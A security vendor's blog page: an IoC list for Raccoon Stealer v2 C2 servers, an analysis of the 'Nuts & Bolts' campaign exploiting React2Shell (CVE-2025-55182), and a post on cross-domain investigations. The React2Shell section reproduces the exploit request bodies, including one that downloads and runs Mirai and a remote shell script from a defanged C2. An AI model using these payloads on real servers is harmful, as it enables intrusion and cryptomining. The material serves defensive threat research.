94.131.104[.]17

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.104[.]18

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.106[.]116

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.106[.]224

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.107[.]132

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.107[.]138

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.96[.]109

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.97[.]129

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.97[.]53

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.97[.]56

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.97[.]57

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.98[.]5

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.158.244[.]114

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.158.244[.]119

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.158.244[.]21

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.158.247[.]24

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.158.247[.]26

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.158.247[.]30

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.158.247[.]44

Raccoon Stealer v2 C2 infrastructure

IP  Address

95.216.109[.]16

Raccoon Stealer  v2 C2 infrastructure

IP Address

95.217.124[.]179

Raccoon Stealer v2 C2 infrastructure

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll

URI used in  download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll

URI used in download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll

URI used in  download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll

URI used in download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nssdbm3.dll

URI used in  download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll

URI used in download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll

URI used in  download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll

URI used in download of library file

URI

/C9S2G1K6I3G8T3X7/56296373798691245143.bin

URI used in  download of follow-up payload

URI

/O6K3E4G6N9S8S1/91787438215733789009.bin

URI used in download of follow-up  payload

URI

/Z2J8J3N2S2Z6X2V3S0B5/45637662345462341.bin

URI used in  download of follow-up payload

URI

/rgd4rgrtrje62iuty/19658963328526236.bin

URI used in download of follow-up  payload

URI

/sd325dt25ddgd523/81852849956384.bin

URI used in  download of follow-up payload

URI

/B0L1N2H4R1N5I5S6/40055385413647326168.bin

URI used in download of follow-up  payload

URI

/F5Q8W3O3O8I2A4A4B8S8/31427748106757922101.bin

URI used in  download of follow-up payload

URI

/36141266339446703039.bin

URI used in download of follow-up  payload

URI

/wH0nP0qH9eJ6aA9zH1mN/1.bin

URI used in  download of follow-up payload

URI

/K2X2R1K4C6Z3G8L0R1H0/68515718711529966786.bin

URI used in download of follow-up  payload

URI

/C3J7N6F6X3P8I0I0M/17819203282122080878.bin

URI used in  download of follow-up payload

URI

/W9H1B8P3F2J2H2K7U1Y7G5N4C0Z4B/18027641.bin

URI used in download of follow-up  payload

URI

/P2T9T1Q6P7Y5J3D2T0N0O8V/73239348388512240560937.bin

URI used in  download of follow-up payload

URI

/W5H6O5P0E4Y6P8O1B9D9G0P9Y9G4/671837571800893555497.bin

URI used in download of follow-up  payload

URI

/U8P2N0T5R0F7G2J0/898040207002934180145349.bin

URI used in  download of follow-up payload

URI

/AXEXNKPSBCKSLMPNOMNRLUEPR/3145102300913020.bin

URI used in download of follow-up  payload

URI

/wK6nO2iM9lE7pN7e/7788926473349244.bin

URI used in  download of follow-up payload

URI

/U4N9B5X5F5K2A0L4L4T5/84897964387342609301.bin

URI used in download of follow-up  payload

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher

More in this series

No items found.

Blog

/

Network

/

December 11, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

Default blog imageDefault blog image

What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, he spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

AI

/

December 8, 2025

Simplifying Cross Domain Investigations

Default blog imageDefault blog image

Cross-domain gaps mean cross-domain attacks  

Organizations are built on increasingly complex digital estates. Nowadays, the average IT ecosystem spans across a large web of interconnected domains like identity, network, cloud, and email.  

While these domain-specific technologies may boost business efficiency and scalability, they also provide blind spots where attackers can shelter undetected. Threat actors can slip past defenses because security teams often use different detection tools in each realm of their digital infrastructure. Adversaries will purposefully execute different stages of an attack across different domains, ensuring no single tool picks up too many traces of their malicious activity. Identifying and investigating this type of threat, known as a cross-domain attack, requires mastery in event correlation.  

For example, one isolated network scan detected on your network may seem harmless at first glance. Only when it is stitched together with a rare O365 login, a new email rule and anomalous remote connections to an S3 bucket in AWS does it begin to manifest as an actual intrusion.  

However, there are a whole host of other challenges that arise with detecting this type of attack. Accessing those alerts in the respective on-premise network, SaaS and IaaS environments, understanding them and identifying which ones are related to each other takes significant experience, skill and time. And time favours no one but the threat actor.  

Anatomy of a cross domain attack
Figure 1: Anatomy of a cross domain attack

Diverse domains and empty grocery shelves

In April 2025, the UK faced a throwback to pandemic-era shortages when the supermarket giant Marks & Spencer (M&S) was crippled by a cyberattack, leaving empty shelves across its stores and massive disruptions to its online service.  

The threat actors, a group called Scattered Spider, exploited multiple layers of the organization’s digital infrastructure. Notably, the group were able to bypass the perimeter not by exploiting a technical vulnerability, but an identity. They used social engineering tactics to impersonate an M&S employee and successfully request a password reset.  

Once authenticated on the network, they accessed the Windows domain controller and exfiltrated the NTDS.dit file – a critical file containing hashed passwords for all users in the domain. After cracking those hashes offline, they returned to the network with escalated privileges and set their sights on the M&S cloud infrastructure. They then launched the encryption payload on the company’s ESXi virtual machines.

To wrap up, the threat actors used a compromised employee’s email account to send an “abuse-filled” email to the M&S CEO, bragging about the hack and demanding payment. This was possibly more of a psychological attack on the CEO than a technically integral part of the cyber kill chain. However, it revealed yet another one of M&S’s domains had been compromised.  

In summary, the group’s attack spanned four different domains:

Identity: Social engineering user impersonation

Network: Exfiltration of NTDS.dit file

Cloud: Ransomware deployed on ESXI VMs

Email: Compromise of user account to contact the CEO

Adept at exploiting nuance

This year alone, several high-profile cyber-attacks have been attributed to the same group, Scattered Spider, including the hacks on Victoria’s Secret, Adidas, Hawaiian Airlines, WestJet, the Co-op and Harrods. It begs the question, what has made this group so successful?

In the M&S attack, they showcased their advanced proficiency in social engineering, which they use to bypass identity controls and gain initial access. They demonstrated deep knowledge of cloud environments by deploying ransomware onto virtualised infrastructure. However, this does not exemplify a cookie-cutter template of attack methods that brings them success every time.

According to CISA, Scattered Spider typically use a remarkable variety of TTPs (tactics, techniques and procedures) across multiple domains to carry out their campaigns. From leveraging legitimate remote access tools in the network, to manipulating AWS EC2 cloud instances or spoofing email domains, the list of TTPs used by the group is eye-wateringly long. Additionally, the group reportedly evades detection by “frequently modifying their TTPs”.  

If only they had better intentions. Any security director would be proud of a red team who not only has this depth and breadth of domain-centric knowledge but is also consistently upskilling.  

Yet, staying ahead of adversaries who seamlessly move across domains and fluently exploit every system they encounter is just one of many hurdles security teams face when investigating cross-domain attacks.  

Resource-heavy investigations

There was a significant delay in time to detection of the M&S intrusion. News outlet BleepingComputer reported that attackers infiltrated the M&S network as early as February 2025. They maintained persistence for weeks before launching the attack in late April 2025, indicating that early signs of compromise were missed or not correlated across domains.

While it’s unclear exactly why M&S missed the initial intrusion, one can speculate about the unique challenges investigating cross-domain attacks present.  

Challenges of cross-domain investigation

First and foremost, correlation work is arduous because the string of malicious behaviour doesn’t always stem from the same device.  

A hypothetical attack could begin with an O365 credential creating a new email rule. Weeks later, that same credential authenticates anomalously on two different devices. One device downloads an .exe file from a strange website, while the other starts beaconing every minute to a rare external IP address that no one else in the organisation has ever connected to. A month later, a third device downloads 1.3 GiB of data from a recently spun up S3 bucket and gradually transfers a similar amount of data to that same rare IP.

Amid a sea of alerts and false positives, connecting the dots of a malicious attack like this takes time and meticulous correlation. Factor in the nuanced telemetry data related to each domain and things get even more complex.  

An analyst who specialises in network security may not understand the unique logging formats or API calls in the cloud environment. Perhaps they are proficient in protecting the Windows Active Directory but are unfamiliar with cloud IAM.  

Cloud is also an inherently more difficult domain to investigate. With 89% of organizations now operating in multi-cloud environments time must be spent collecting logs, snapshots and access records. Coupled with the threat of an ephemeral asset disappearing, the risk of missing a threat is high. These are some of the reasons why research shows that 65% of organisations spend 3-5 extra days investigating cloud incidents.  

Helpdesk teams handling user requests over the phone require a different set of skills altogether. Imagine a threat actor posing as an employee and articulately requesting an urgent password reset or a temporary MFA deactivation. The junior Helpdesk agent— unfamiliar with the exception criteria, eager to help and feeling pressure from the persuasive manipulator at the end of the phoneline—could easily fall victim to this type of social engineering.  

Empowering analysts through intelligent automation

Even the most skilled analysts can’t manually piece together every strand of malicious activity stretching across domains. But skill alone isn’t enough. The biggest hurdle in investigating these attacks often comes down to whether the team have the time, context, and connected visibility needed to see the full picture.

Many organizations attempt to bridge the gap by stitching together a patchwork of security tools. One platform for email, another for endpoint, another for cloud, and so on. But this fragmentation reinforces the very silos that cross-domain attacks exploit. Logs must be exported, normalized, and parsed across tools a process that is not only error-prone but slow. By the time indicators are correlated, the intrusion has often already deepened.

That’s why automation and AI are becoming indispensable. The future of cross-domain investigation lies in systems that can:

  • Automatically correlate activity across domains and data sources, turning disjointed alerts into a single, interpretable incident.
  • Generate and test hypotheses autonomously, identifying likely chains of malicious behaviour without waiting for human triage.
  • Explain findings in human terms, reducing the knowledge gap between junior and senior analysts.
  • Operate within and across hybrid environments, from on-premise networks to SaaS, IaaS, and identity systems.

This is where Darktrace transforms alerting and investigations. Darktrace’s Cyber AI Analyst automates the process of correlation, hypothesis testing, and narrative building, not just within one domain, but across many. An anomalous O365 login, a new S3 bucket, and a suspicious beaconing host are stitched together automatically, surfacing the story behind the alerts rather than leaving it buried in telemetry.

How threat activity is correlated in Cyber AI Analyst
Figure 2: How threat activity is correlated in Cyber AI Analyst

By analyzing events from disparate tools and sources, AI Analyst constructs a unified timeline of activity showing what happened, how it spread, and where to focus next. For analysts, it means investigation time is measured in minutes, not days. For security leaders, it means every member of the SOC, regardless of experience, can contribute meaningfully to a cross-domain response.

Figure 3: Correlation showcasing cross domains (SaaS and IaaS) in Cyber AI Analyst

Until now, forensic investigations were slow, manual, and reserved for only the largest organizations with specialized DFIR expertise. Darktrace / Forensic Acquisition & Investigation changes that by leveraging the scale and elasticity of the cloud itself to automate the entire investigation process. From capturing full disk and memory at detection to reconstructing attacker timelines in minutes, the solution turns fragmented workflows into streamlined investigations available to every team.

What once took days now takes minutes. Now, forensic investigations in the cloud are faster, more scalable, and finally accessible to every security team, no matter their size or expertise.

Continue reading
About the author
Benjamin Druttman
Cyber Security AI Technical Instructor
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ